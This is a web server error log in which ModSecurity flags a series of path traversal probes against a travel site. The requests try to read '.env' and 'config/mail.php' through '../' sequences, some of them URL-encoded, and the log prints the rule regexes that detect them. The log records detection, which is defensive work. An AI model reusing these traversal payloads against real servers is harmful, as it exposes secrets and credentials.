[Fri Jul 17 08:55:06.878669 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2AUwAAAAU"]
[Fri Jul 17 08:55:06.878687 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2AUwAAAAU"]
[Fri Jul 17 08:55:06.879855 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2AUwAAAAU"]
[Fri Jul 17 08:55:06.879980 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.880265 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkhAi3pC6yjXGNq2AUwAAAAU"]
[Fri Jul 17 08:55:06.882419 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?content=..%2F..%2F.env&sid=xXCH7VF46bqa5xYsUtqshEqVoBMMCgAhaOF4XFrYRb3s1kkzroVKuteDUKH7ri326bo2VyYZ7t0t9XTtAQW1zOhoxDGlUGS551zXqjeh3Jd29m1u6diVAsbgl8NLi8PapD0net1MiiSbngKZ4w9kO5UHNRmfEg7VEUJs8v_OAzV6K5Gm8pMHcrI75Lu4hGOlWFB2ZMc0CxLph-FTwdjSr_2bwChHj95e9nr-0xUIlXTbF31-rT66b3tONIGKuzHIF2UHOetkAkYHozA6l8k2YpfU&ref=K3D266AXHC5SF447WHYEV3U4WSEE3HA5YGYPXVAFWRFRD23LXWJ3KSP2QL27TRKWKR3YYWRH6MVRYA6LCHCVTXOENUYQ6F5GDTQWDJ64LEFDYWSYT4H73FAGZBRIGBCVBRSNCZZRHQYKFU..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTAgAAAAM"]
[Fri Jul 17 08:55:06.882467 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTAgAAAAM"]
[Fri Jul 17 08:55:06.882513 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?content=../../.env&sid=xXCH7VF46bqa5xYsUtqshEqVoBMMCgAhaOF4XFrYRb3s1kkzroVKuteDUKH7ri326bo2VyYZ7t0t9XTtAQW1zOhoxDGlUGS551zXqjeh3Jd29m1u6diVAsbgl8NLi8PapD0net1MiiSbngKZ4w9kO5UHNRmfEg7VEUJs8v_OAzV6K5Gm8pMHcrI75Lu4hGOlWFB2ZMc0CxLph-FTwdjSr_2bwChHj95e9nr-0xUIlXTbF31-rT66b3tONIGKuzHIF2UHOetkAkYHozA6l8k2YpfU&ref=K3D266AXHC5SF447WHYEV3U4WSEE3HA5YGYPXVAFWRFRD23LXWJ3KSP2QL27TRKWKR3YYWRH6MVRYA6LCHCVTXOENUYQ6F5GDTQWDJ64LEFDYWSYT4H73FAGZBRIGBCVBRSNCZZRHQYKFUSI3LSC2V6POW..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTAgAAAAM"]
[Fri Jul 17 08:55:06.882539 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?content=../../.env&sid=xxch7vf46bqa5xysutqsheqvobmmcgahaof4xfryrb3s1kkzrovkutedukh7ri326bo2vyyz7t0t9xttaqw1zohoxdglugs551zxqjeh3jd29m1u6divasbgl8nli8papd0net1miisbngkz4w9ko5uhnrmfeg7veujs8v_oazv6k5gm8pmhcri75lu4hgolwfb2zmc0cxlph-ftwdjsr_2bwchhj95e9nr-0xuilxtbf31-rt66b3tonigkuzhif2uhoetkakyhoza6l8k2ypfu&ref=k3d266axhc5sf447whyev3u4wsee3ha5ygypxvafwrfrd23lxwj3ksp2ql27trkwkr3yywrh6mvrya6lchcvtxoenuyq6f5gdtqwdj64lefdywsyt4h73fagzbrigbcvbrsnczzrhqykfusi3lsc2v6pow..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTAgAAAAM"]
[Fri Jul 17 08:55:06.882570 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTAgAAAAM"]
[Fri Jul 17 08:55:06.882588 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTAgAAAAM"]
[Fri Jul 17 08:55:06.883808 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTAgAAAAM"]
[Fri Jul 17 08:55:06.883958 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.884267 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkhHlOGcokz2QIwTTAgAAAAM"]
[Fri Jul 17 08:55:06.891932 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?content=..%2F..%2F..%2F.env&sid=a7VWH00LBxud5GQijBFW5ZnyYHmOS5hfwKZXrGZ7UOMr7O22KjdyMa3-ix-iRgjlmNHyD1cTJN5I3dNcPQLPKo-86CS0b17oClA1QwuaVFdikjLAiA5EogKyT08iw0VASlNQZtqTILOXVFuSiYm92JX99W_ayGL_Vsr_JqvzfYkZZNNPwOBOVXgzuJOJjLRm-vBZw_ThjgserXZx2hAGSU0tqW_B5bYdA3s6Tsr3VDIyDinl0ZBTBrRDixtkBFDo2snudy3bKRFuYsTZgPQ0E60_&ref=H3EGKNFIIDLYEO3ABKW2EYWUYBUYDL4IZ4CZEA452USADAMMP33QT3JLTYXKEIWKLTX7OKJNBZWUQQKKPOSABDBARJCVGY2OJGAQXG6W6XZWAT3ATBFSE3KWCBQI2VIE42IFUYNWE..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTAwAAAAM"]
[Fri Jul 17 08:55:06.891985 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTAwAAAAM"]
[Fri Jul 17 08:55:06.892033 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?content=../../../.env&sid=a7VWH00LBxud5GQijBFW5ZnyYHmOS5hfwKZXrGZ7UOMr7O22KjdyMa3-ix-iRgjlmNHyD1cTJN5I3dNcPQLPKo-86CS0b17oClA1QwuaVFdikjLAiA5EogKyT08iw0VASlNQZtqTILOXVFuSiYm92JX99W_ayGL_Vsr_JqvzfYkZZNNPwOBOVXgzuJOJjLRm-vBZw_ThjgserXZx2hAGSU0tqW_B5bYdA3s6Tsr3VDIyDinl0ZBTBrRDixtkBFDo2snudy3bKRFuYsTZgPQ0E60_&ref=H3EGKNFIIDLYEO3ABKW2EYWUYBUYDL4IZ4CZEA452USADAMMP33QT3JLTYXKEIWKLTX7OKJNBZWUQQKKPOSABDBARJCVGY2OJGAQXG6W6XZWAT3ATBFSE3KWCBQI2VIE42IFUYNWEN5YTVZYVEAA4ET..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTAwAAAAM"]
[Fri Jul 17 08:55:06.892076 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?content=../../../.env&sid=a7vwh00lbxud5gqijbfw5znyyhmos5hfwkzxrgz7uomr7o22kjdyma3-ix-irgjlmnhyd1ctjn5i3dncpqlpko-86cs0b17ocla1qwuavfdikjlaia5eogkyt08iw0vaslnqztqtiloxvfusiym92jx99w_aygl_vsr_jqvzfykzznnpwobovxgzujojjlrm-vbzw_thjgserxzx2hagsu0tqw_b5byda3s6tsr3vdiydinl0zbtbrrdixtkbfdo2snudy3bkrfuystzgpq0e60_&ref=h3egknfiidlyeo3abkw2eywuybuydl4iz4czea452usadammp33qt3jltyxkeiwkltx7okjnbzwuqqkkposabdbarjcvgy2ojgaqxg6w6xzwat3atbfse3kwcbqi2vie42ifuynwen5ytvzyveaa4et..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTAwAAAAM"]
[Fri Jul 17 08:55:06.892113 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTAwAAAAM"]
[Fri Jul 17 08:55:06.892145 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTAwAAAAM"]
[Fri Jul 17 08:55:06.893348 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTAwAAAAM"]
[Fri Jul 17 08:55:06.893487 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.893818 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkhHlOGcokz2QIwTTAwAAAAM"]
[Fri Jul 17 08:55:06.904380 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?content=..%2F..%2F..%2F..%2F.env&ref=DnqlXjxpWU8AOtNzlOj8yh5geBYBEux2NTEAEE044_a0IXzpwKPvatr_CGF1x00P2jLT0Nbq5njcdfDlwrTQS9zSemQZDlemveHak0c3J116LUZ8Rvs-PGcLZc46s5IQrb_0VLksOsPhNjkIj8jo9qIEF9H9wdqln8dbneE5zTzlVfrF5b0VE3sy0rhjZ96LQdYWVXQnsmd1rYP37gfTeKXgWGed5buiRiSTATCM8PByUDRFM6HVomWqDofnvebHh-_1k3QIOilUMhESTZ3BTEQ7&sid=6IASTZA7IXQAKIOEN3P5YAWJTAAQI5TBOKCIYBC4YY7ZYKYM66I553IYPBZ7OHO4MO7JHQI7J3MUUXVCUEX5MPPIRQUHBHPMESQHTFY3AN7MWPJ2GCLKUOOA6RVTTTKKLCPY..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTBAAAAAM"]
[Fri Jul 17 08:55:06.904438 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTBAAAAAM"]
[Fri Jul 17 08:55:06.904484 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?content=../../../../.env&ref=DnqlXjxpWU8AOtNzlOj8yh5geBYBEux2NTEAEE044_a0IXzpwKPvatr_CGF1x00P2jLT0Nbq5njcdfDlwrTQS9zSemQZDlemveHak0c3J116LUZ8Rvs-PGcLZc46s5IQrb_0VLksOsPhNjkIj8jo9qIEF9H9wdqln8dbneE5zTzlVfrF5b0VE3sy0rhjZ96LQdYWVXQnsmd1rYP37gfTeKXgWGed5buiRiSTATCM8PByUDRFM6HVomWqDofnvebHh-_1k3QIOilUMhESTZ3BTEQ7&sid=6IASTZA7IXQAKIOEN3P5YAWJTAAQI5TBOKCIYBC4YY7ZYKYM66I553IYPBZ7OHO4MO7JHQI7J3MUUXVCUEX5MPPIRQUHBHPMESQHTFY3AN7MWPJ2GCLKUOOA6RVTTTKKLCPYXGN23LH6MXLD2S7B..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTBAAAAAM"]
[Fri Jul 17 08:55:06.904510 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?content=../../../../.env&ref=dnqlxjxpwu8aotnzloj8yh5gebybeux2nteaee044_a0ixzpwkpvatr_cgf1x00p2jlt0nbq5njcdfdlwrtqs9zsemqzdlemvehak0c3j116luz8rvs-pgclzc46s5iqrb_0vlksosphnjkij8jo9qief9h9wdqln8dbnee5ztzlvfrf5b0ve3sy0rhjz96lqdywvxqnsmd1ryp37gftekxgwged5buiristatcm8pbyudrfm6hvomwqdofnvebhh-_1k3qioilumhestz3bteq7&sid=6iastza7ixqakioen3p5yawjtaaqi5tbokciybc4yy7zykym66i553iypbz7oho4mo7jhqi7j3muuxvcuex5mppirquhbhpmesqhtfy3an7mwpj2gclkuooa6rvtttkklcpyxgn23lh6mxld2s7b..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTBAAAAAM"]
